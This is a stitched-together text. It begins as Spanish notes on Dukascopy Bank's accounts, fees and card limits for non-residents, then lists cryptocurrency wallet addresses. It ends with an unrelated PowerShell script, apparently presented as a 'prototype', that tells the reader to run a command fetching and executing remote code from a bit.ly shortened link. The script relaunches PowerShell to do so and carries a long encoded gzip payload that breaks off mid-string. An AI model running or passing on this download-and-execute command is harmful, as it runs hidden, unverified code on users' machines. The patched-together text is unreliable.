No residentes
Dividendos: De 0 a 35%
Intereses: De 0 a 35%
Regalias: 0%
https://www.dukascopy.bank
Licencia: Bancaria (Licenciado y supervisado por FINMA)
Cuentas: Personal/Business.
Deposito Mínimo: No requiere.
Costo de mantenimiento: No.
Tarjeta: Si, Visa física y virtual disponibles.
No-residentes: Si, total soporte.
Detalles: La Mobile Current Account ofrece acceso a depósitos en 23 divisas. Todos los IBANs son suizos, con lo que se puede recibir EUR y CHF vía Transferwise. Tiene soporte para enviar y recibir depósitos vía SEPA y SWIFT para todas las divisas. Pueden efectivamente hacer una transferencia desde su banco directo a Dukascopy.
Suiza, por no ser Unión Europea permite la emisión de tarjetas de débito a no residentes en la confederación o la Unión Europea. Cosa que muchos bancos o EMIs con apertura de cuenta online no ofrecen. La tarjeta tiene costo.
https://www.dukascopy.bank/swiss/fees-limits/
Transferencias entre cuentas internas: Gratis
Transferencias dentro Dukascopy Group: Gratis
Depósitos a Dukascopy Card: Gratis
Retiros de Dukascopy Card: Gratis
Depósitos vía tarjetas de Crédito o Debito: 1.2% (En EUR)
Transferencias SEPA: EUR 2.30
Transferencias SWIFT: EUR 20
Aviso: Existen más cargos no relevantes al post, otras opciones de depósito y retiro vía tarjetas de otros bancos, Neteller y Skrill. Lean los detalles antes de operar.
Costo tarjeta Dukascopy física: CHF 18.5
Costo mensual de la tarjeta Dukascopy física: CHF 1
Costo tarjeta Dukascopy virtual: CHF 5
Costo mensual de la tarjeta Dukascopy virtual: CHF 5
Depósitos per quarter: EUR 3000
Balance: EUR 50.000
Los límites se pueden ampliar hasta el 450% enviando documentación sobre su ocupación, ingresos y residencia fiscal. Los limites se resetean los 1ro Enero, 1ro de Abril, 1ro de Julio y 1ro de Octubre.
Para la cuenta de la cual se discute en el post
Dukascopy Mobile Bank
Para trade en Suiza
Dukascopy Bank S.A.
Token Wallet address BTC 19xvUdQoZosrzYKNaTCK834zRkg5Bogop BCH qqqmyqjspnq0fazk9wvv0elc8vxdp2rkvgfqs3s87x LTC LKNvBgwEtE3w7oEUYiSVb96qCe7xFDBvp8 ETH/DAI 0x1cbbcf2ca8849893ad7feac5ef5c735f6d91fa4e XMR 44AXEt8ZkmjgGuUrPaoNTzBGhp92L3HozSYxAip7dz8qL6A3neJBriLRSjC8Qnam4tEhfw2yXzcXsbZ2dJiWHDC7Ji8nBvx
# PowerShell + HTML5 prototype. Needs audio. Run: iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w") if($host.Name -ne "ServerRemoteHost") { Start-Process powershell -ArgumentList '-noprofile -noexit -command iex (New-Object Net.WebClient).DownloadString(''http://bit.ly/e0Mw9w'')' return } $data = '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